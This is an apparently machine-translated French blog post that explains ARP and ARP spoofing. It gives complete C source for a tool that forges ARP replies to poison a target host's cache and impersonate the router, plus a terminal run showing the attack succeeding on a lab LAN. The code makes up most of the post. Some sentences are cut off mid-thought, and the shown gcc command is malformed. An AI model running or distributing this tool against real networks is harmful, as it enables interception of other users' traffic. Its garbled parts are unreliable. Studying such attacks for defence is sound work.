[LINUX] J'ai essayé le spoofing ARP

introduction

J'ai essayé le spoofing ARP, qui est une attaque qui utilise les propriétés de ARP (Address Resolution Protocol).

environnement

ARP En premier lieu, ARP (Address Resolution Protocol) sert à mapper les adresses IP sur les adresses MAC. En supposant un LAN général, par exemple, lorsque l'hôte A veut communiquer avec le routeur, l'hôte A diffuse une requête ARP en utilisant l'adresse IP du routeur (IP-R).

図1.png

Lorsque le routeur reçoit la demande, il renvoie une réponse ARP à l'hôte A pour transmettre son adresse MAC.

図2.png

Lorsque l'hôte A reçoit la réponse ARP, il met à jour son cache ARP et est capable de communiquer avec le routeur. 図3.png

Usurpation ARP

Une attaque qui tire parti de cette propriété ARP est l'usurpation d'ARP. ARP a la propriété d'être utilisé dans deux attaques majeures.

D'après ce qui précède, même si un paquet ARP non valide est reçu, le cache sera mis à jour.

Supposons qu'il y ait des attaquants dans le même segment. Un attaquant envoie une réponse ARP à l'hôte A en utilisant l'adresse IP du routeur afin de réécrire le cache de l'hôte A en un cache malveillant.

図4.png

Si l'hôte A reçoit un paquet ARP mal formé, il met à jour le cache et l'usurpation ARP réussit.

図5.png

Une usurpation ARP réussie permettra à tous les paquets de l'hôte A d'atteindre l'attaquant. En conséquence, l'attaquant

De telles actions sont possibles.

Expérience d'usurpation d'ARP

Il existe plusieurs outils pour faire de l'usurpation ARP. L'usurpation ARP peut être exécutée simplement en réécrivant l'adresse IP source du paquet ARP à envoyer, donc je pense que c'est relativement simple à mettre en œuvre.

Alors je l'ai vraiment écrit. (Grossièrement)

arpspoofing.h


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define IP_CHAR_LEN 15

//Créer un socket ARP
int create_arp_sock();

//IP du nom de l'interface,Obtenir l'adresse MAC
void set_if_info(int sock, char *if_name, char* if_ip, unsigned char* if_mac);

//Adresse de socket
void set_sockaddr(struct sockaddr_ll *sll, char *if_name);

//Paramètres ARP
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op);

//Obtenir l'adresse MAC de l'hôte cible
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac);

//Convertir la chaîne en adresse MAC d'un caractère non signé
void char2mac(char* macadd, unsigned char* mac_str);

//Sortie de l'adresse MAC
void print_macaddr(unsigned char* macaddr);

//Effectuer une usurpation ARP
void arp_spoofing(char *argv[]);

arpspoofing.c


#include "arpspoofing.h"

int create_arp_sock()
{
    int arp_sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (arp_sock < 0)
    {
        perror("arp sock");
        printf("errno: %d\n", errno);
        return 1;
    }
    return arp_sock;
}

void set_if_info(int sock, char *if_name, char* if_ip,unsigned char* if_mac)
{
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_addr.sa_family = AF_INET;
    memcpy(ifr.ifr_name, if_name, 6);
    
    //Obtention d'une adresse IP
    if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
    {
        perror("ip addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_ip, inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), IP_CHAR_LEN);

    //Obtenir l'adresse MAC
    if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0)
    {
        perror("mac addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_mac, ifr.ifr_hwaddr.sa_data, 6); 

}

void set_sockaddr(struct sockaddr_ll *sll, char *if_name)
{
    memset(sll, 0x0, sizeof(sll));                  
    sll->sll_family = AF_PACKET;                    /*Toujours AF_PACKET */
    sll->sll_protocol = htons(ETH_P_ARP);           /*Protocole de couche physique*/
    sll->sll_ifindex = if_nametoindex(if_name);     /*Numéro d'interface*/
    sll->sll_halen = 6;                             /*Longueur d'adresse*/
    memset(&sll->sll_addr, 0xff, 6);                /*Adresse de la couche physique*/
}

void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op)
{
    memset(arpPacket, 0x0, sizeof(arpPacket));
    arpPacket->arp_hrd = htons(1);                  /* Format of hardware address.  */
    arpPacket->arp_pro = htons(ETHERTYPE_IP);       /* Format of protocol address.  */
    arpPacket->arp_hln = 6;                         /* Length of hardware address.  */
    arpPacket->arp_pln = 4;                         /* Length of protocol address.  */
    arpPacket->arp_op = htons(op);                  /* ARP opcode (command).  */

    memcpy(arpPacket->arp_sha, s_mac, 6);                       //MAC source
    inet_aton(s_ip, (struct in_addr *)&arpPacket->arp_spa);     //IP source
    memcpy(arpPacket->arp_tha, t_mac, 6);                       //MAC de destination
    inet_aton(t_ip, (struct in_addr *)&arpPacket->arp_tpa);     //IP de destination
}

void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac)
{
    //Répétez jusqu'à ce que l'adresse MAC de l'adresse IP spécifiée puisse être résolue
    while(1)
    {
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
            0, (struct sockaddr *)&sll, sizeof(sll)) < 0){
            perror("sendto");
            printf("errno: %d\n", errno);
            break;
        }
        char buf[256];
            memset(buf,0x0,sizeof(buf));
            int arp_size = recvfrom(arp_sock, buf, sizeof(buf), 0, NULL, NULL);

            //Quand un paquet ARP arrive
            if(arp_size < 0) {
                printf("errno: %d\n",errno);
            }else{
                struct ether_arp *ether_arp = (struct ether_arp*) buf;
                char ip_address[IP_CHAR_LEN];
                memcpy(ip_address, inet_ntop(AF_INET, ether_arp->arp_spa, ip_address, IP_CHAR_LEN), IP_CHAR_LEN);

                //Si vous pouvez obtenir l'adresse MAC de l'adresse IP spécifiée
                if(strcmp((t_ip), ip_address) == 0){
                    memcpy(t_mac, ether_arp->arp_sha, 6);
                    printf("%Adresse MAC de s-> ", t_ip); 
                    print_macaddr(t_mac);
                    break;
                }else{
                    printf("%Acquisition de l'adresse MAC de s...\n", t_ip);
                }

            }
        sleep(3);
    }
}

void char2mac(char* macadd, unsigned char* mac_str){
    char* mac = macadd;
    char temp[3];
    int i;
    for(i = 0; i < 6; i++){
        temp[0] = mac[i * 3 + 0];
        temp[1] = mac[i * 3 + 1];
        temp[2] = 0x00;
        mac_str[i] = strtol(temp, NULL, 16);
    }

}

void print_macaddr(unsigned char* macaddr) 
{
   printf(" %02x:%02x:%02x:%02x:%02x:%02x\n",macaddr[0],macaddr[1],macaddr[2],macaddr[3],macaddr[4],macaddr[5]);
}


void arp_spoofing(char *argv[])
{

    char if_ip[IP_CHAR_LEN];    //Mon adresse IP
    unsigned char if_mac[6];    //Mon adresse MAC
    char t_ip[IP_CHAR_LEN];     //Adresse IP de l'hôte cible
    unsigned char t_mac[6];     //Adresse MAC de l'hôte cible
    char fake_ip[IP_CHAR_LEN];  //IP de l'hôte que vous souhaitez emprunter
 
    //Créer un socket ARP
    int arp_sock = create_arp_sock();

    //IP du nom de l'interface,Obtenir l'adresse MAC
    set_if_info(arp_sock, argv[1], if_ip, if_mac);

    //Adresse de socket
    struct sockaddr_ll sll;
    set_sockaddr(&sll, argv[1]);

    //lier
    if(bind(arp_sock, (struct sockaddr*)&sll, sizeof(sll)) < 0) 
    {
        perror("bind");
        printf("errno: %d\n",errno);
        return;
    }

    //paramètres de paquet arp(Pour acquérir l'adresse MAC de l'hôte cible)
    char2mac("00:00:00:00:00:00",t_mac);
    memcpy(t_ip, argv[3], IP_CHAR_LEN);
    struct ether_arp arpPacket;
    set_arp_header(&arpPacket, if_mac, if_ip, t_mac, t_ip, ARPOP_REQUEST);

    //Obtenir l'adresse MAC de l'hôte cible
    get_t_mac(arp_sock, arpPacket, sll, sizeof(sll), t_ip, t_mac);

    //paramètres de paquet arp(Pour l'usurpation ARP)
    memcpy(fake_ip, argv[2], IP_CHAR_LEN); 
    set_arp_header(&arpPacket, if_mac, fake_ip, t_mac, t_ip, ARPOP_REPLY);
    int count = 0;

    //Usurpation ARP
    printf("-------------------------------------------\n");
    printf("Sender MAC : "); print_macaddr(if_mac);
    printf("Sender IP  : %s \n", fake_ip);                             
    printf("Target MAC : "); print_macaddr(t_mac);
    printf("Target IP  : %s \n", t_ip);      
    printf("-------------------------------------------\n");

    while(count < 3){ 
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
                    0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
        {
            perror("sendto");
            printf("errno: %d\n", errno);
            return;
        }
        printf("%s is at", fake_ip); print_macaddr(if_mac);
        sleep(3);
        count++;
    }

    close(arp_sock);
    return;
}


int main(int argc, char *argv[])
{
    //Vérification des arguments
    if(argc < 4){
        printf("usage: <if name> <src IP> <dst IP> \n");
        return 0;
    }

    printf("start arp spoofing...\n");
    arp_spoofing(argv);
    printf("arp spoofing succeeded!\n");

}

Cette fois, lançons-le comme exemple lorsqu'un attaquant prétend être "192.168.11.1" contre un hôte de "192.168.11.15". Les adresses IP et MAC de l'attaquant à ce moment sont les suivantes.

Adresse IP de l'attaquant Adresse MAC de l'attaquant
192.168.11.16 00:0c:29:2d:52:d6

Terminal


$ gcc -o arpspoofing.c
$ sudo ./arpspoofing ens33 192.168.11.1 192.168.11.15
start arp spoofing...
192.168.11.15 adresses MAC->  <192.168.11.15 adresses MAC>
-------------------------------------------
Sender MAC : 00:0c:29:2d:52:d6
Sender IP  : 192.168.11.1
Target MAC : <192.168.11.15 adresses MAC>
Target IP  : 192.168.11.15
-------------------------------------------
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
arp spoofing succeeded!

Vérifions le cache ARP de "192.168.11.15".

image.png

Il a certainement été réécrit et il a été confirmé que la même adresse MAC était enregistrée dans le cache ARP.

Résumé

L'usurpation d'ARP est effrayante car elle peut être une grande menace pour sa facilité d'exécution.

Recommended Posts

J'ai essayé le spoofing ARP
J'ai essayé de gratter
J'ai essayé PyQ
J'ai essayé AutoKeras
J'ai essayé le moulin à papier
J'ai essayé django-slack
J'ai essayé Django
J'ai essayé spleeter
J'ai essayé cgo
J'ai essayé d'utiliser argparse
J'ai essayé d'utiliser anytree
J'ai essayé d'utiliser aiomysql
J'ai essayé d'utiliser Summpy
J'ai essayé Python> autopep8
J'ai essayé d'utiliser coturn
J'ai essayé d'utiliser Pipenv
J'ai essayé d'utiliser matplotlib
J'ai essayé d'utiliser "Anvil".
J'ai essayé d'utiliser Hubot
J'ai essayé d'utiliser ESPCN
J'ai essayé PyCaret2.0 (pycaret-nightly)
J'ai essayé d'utiliser openpyxl
J'ai essayé le deep learning
J'ai essayé AWS CDK!
J'ai essayé d'utiliser Ipython
J'ai essayé de déboguer.
J'ai essayé d'utiliser PyCaret
J'ai essayé d'utiliser cron
J'ai essayé la mapview de Kivy
J'ai essayé d'utiliser ngrok
J'ai essayé d'utiliser face_recognition
J'ai essayé d'utiliser Jupyter
Usurpation ARP avec python
J'ai essayé de déplacer EfficientDet
J'ai essayé la programmation shell
J'ai essayé d'utiliser doctest
J'ai essayé Python> décorateur
J'ai essayé d'exécuter TensorFlow
J'ai essayé Auto Gluon
J'ai essayé d'utiliser du folium
J'ai essayé d'utiliser jinja2
J'ai essayé AWS Iot
J'ai essayé l'optimisation bayésienne!
J'ai essayé d'utiliser du folium
J'ai essayé d'utiliser la fenêtre de temps
J'ai essayé les réseaux d'itération de valeur
J'ai essayé fp-growth avec python
J'ai essayé de gratter avec Python
J'ai essayé la classification d'image d'AutoGluon
J'ai essayé Learning-to-Rank avec Elasticsearch!
[J'ai essayé d'utiliser Pythonista 3] Introduction
J'ai essayé d'utiliser easydict (mémo).
J'ai essayé d'organiser SVM.
J'ai essayé la reconnaissance faciale avec Face ++
J'ai essayé d'utiliser RandomForest
J'ai essayé le clustering avec PyCaret
J'ai essayé d'utiliser BigQuery ML